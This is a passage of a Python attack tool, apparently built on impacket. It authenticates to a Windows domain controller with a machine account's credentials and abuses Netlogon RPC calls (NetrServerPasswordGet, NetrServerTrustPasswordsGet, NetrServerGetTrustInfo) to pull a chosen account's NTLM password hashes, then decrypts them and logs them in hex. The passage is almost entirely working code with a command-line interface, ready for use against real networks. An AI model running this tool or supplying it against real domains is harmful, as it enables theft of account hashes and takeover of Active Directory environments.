self.clientStoredCredential, 0x600FFFFF) 183 | except nrpc.DCERPCSessionError as e: 184 | logging.error(str(e)) 185 | return False 186 | except Exception as e: 187 | logging.error(str(e)) 188 | return False 189 | dce.set_auth_type(RPC_C_AUTHN_NETLOGON) 190 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 191 | dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC) 192 | dce2.set_session_key(self.sessionKey) 193 | dce2.set_aes(isAES) 194 | self.__aesandsha = isAES 195 | 196 | self.__dce = dce2 197 | return True 198 | 199 | 200 | def dcryptHash(self, resp, type=None): 201 | if type == "NetrServerPasswordGet": 202 | encrypt_hash = resp['EncryptedNtOwfPassword'] 203 | logging.debug('EncryptedNtOwfPassword: %s' % encrypt_hash) 204 | decrypt_hash = SamDecryptNTLMHash(encrypt_hash, self.sessionKey) 205 | logging.info("Decrypt Hash: %s" % hexlify(decrypt_hash).decode('utf-8')) 206 | else: 207 | encrypt_old_hash = resp['EncryptedOldOwfPassword'] 208 | encrypt_new_hash = resp['EncryptedNewOwfPassword'] 209 | logging.debug('EncryptedOldOwfPassword: %s' % encrypt_old_hash) 210 | logging.debug('EncryptedNewOwfPassword: %s' % encrypt_new_hash) 211 | decrypt_old_hash = SamDecryptNTLMHash(encrypt_old_hash, self.sessionKey) 212 | decrypt_new_hash = SamDecryptNTLMHash(encrypt_new_hash, self.sessionKey) 213 | logging.info("Decrypt Old Hash: %s" % hexlify(decrypt_old_hash).decode('utf-8')) 214 | logging.info("Decrypt New Hash: %s" % hexlify(decrypt_new_hash).decode('utf-8')) 215 | 216 | 217 | def dump(self, target, type=None): 218 | logging.info("Tring to sync password for {} using credentials for {}".format(target, self.__machineUser)) 219 | # need check the user UAC for current channel, currently not implemented. 220 | all_channel = [nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.TrustedDomainSecureChannel, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.CdcServerSecureChannel] 221 | for channel in all_channel: 222 | logging.debug("Try to get hash with channel: %s" % nrpc.NETLOGON_SECURE_CHANNEL_TYPE.enumItems(channel).name) 223 | try: 224 | self.NetrServerAuthenticate(self.__dce) 225 | if type == "NetrServerPasswordGet": 226 | resp = nrpc.hNetrServerPasswordGet(self.__dce, self.__dcName, target, channel, self.__machineName, self.update_authenticator()) 227 | elif type == "NetrServerTrustPasswordsGet": 228 | resp = nrpc.hNetrServerTrustPasswordsGet(self.__dce, self.__dcName, target, channel, self.__machineName, self.update_authenticator()) 229 | else: 230 | resp = nrpc.hNetrServerGetTrustInfo(self.__dce, self.__dcName, target, channel, self.__machineName, self.update_authenticator()) 231 | self.dcryptHash(resp, type) 232 | break 233 | except nrpc.DCERPCSessionError as e: 234 | if str(e).find("STATUS_NO_SUCH_USER") > 0: 235 | logging.error("No such user: %s with channel: %s" % (target, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.enumItems(channel).name)) 236 | else: 237 | logging.error(str(e)) 238 | continue 239 | except Exception as e: 240 | logging.error(str(e)) 241 | continue 242 | self.__dce.disconnect() 243 | 244 | 245 | # Process command-line arguments. 246 | if __name__ == '__main__': 247 | print(LOGO) 248 | parser = argparse.ArgumentParser() 249 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 250 | parser.add_argument('-a', "--account", action='store', help='Account name to dump hash.', required=True) 251 | parser.add_argument('-m','--method', action='store', choices=['NetrServerPasswordGet', 'NetrServerTrustPasswordsGet', 'NetrServerGetTrustInfo'], default='NetrServerGetTrustInfo', help='Method to dump hash.') 252 | parser.add_argument('-ns', action='store', help='Nameserver to resolve targetName') 253 | parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') 254 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 255 | 256 | 257 | group = parser.add_argument_group('authentication') 258 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 259 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 260 | 'If omitted it will use the domain part (FQDN) specified in the target parameter') 261 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') 262 | 263 | if len(sys.argv)==1: 264 | parser.print_help() 265 | sys.exit(1) 266 | 267 | options = parser.parse_args() 268 | 269 | # Init the example's logger theme 270 | logger.init(options.ts) 271 | 272 | if options.debug is True: 273 | logging.getLogger().setLevel(logging.DEBUG) 274 | # Print the Library's installation path 275 | logging.debug(version.getInstallationPath()) 276 | else: 277 | logging.getLogger().setLevel(logging.INFO) 278 | 279 | domain, username, password, address = parse_target(options.target) 280 | 281 | # mack sure address is FQDN targetName and not IP 282 | if re.match(r"^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$", address): 283 | logging.error("Please provide FQDN targetName.") 284 | sys.exit(1) 285 | 286 | if domain not in address: 287 | address = "{}.{}".format(address, domain) 288 | 289 | if domain is None: 290 | domain = '' 291 | 292 | if "$" not in username: 293 | logging.error("Please provide machine account name.") 294 | sys.exit(1) 295 | 296 | if options.keytab is not None: 297 | Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) 298 | options.k = True 299 | 300 | if password == '' and username != '' and options.hashes is None: 301 | from getpass import getpass 302 | 303 | password = getpass("Password:") 304 | 305 | if options.dc_ip is None: 306 | res = Hostname2Ip() 307 | addr = res.host2ip(address, options.ns) 308 | if addr is None: 309 | logging.error("Failed to resolve targetName: %s" % address) 310 | sys.exit(1) 311 | options.dc_ip = addr 312 | 313 | # abilities = NrpcNegotiateFlags.get_supported_abilities(0x212FFFFF) 314 | # support_str = ", ".join(abilities) 315 | # logging.info("capabilities: {}".format(support_str)) 316 | sync = NetSync(username, password, domain, options.hashes, options.dc_ip, address) 317 | sync.dump(options.account, type=options.method) 318 | --------------------------------------------------------------------------------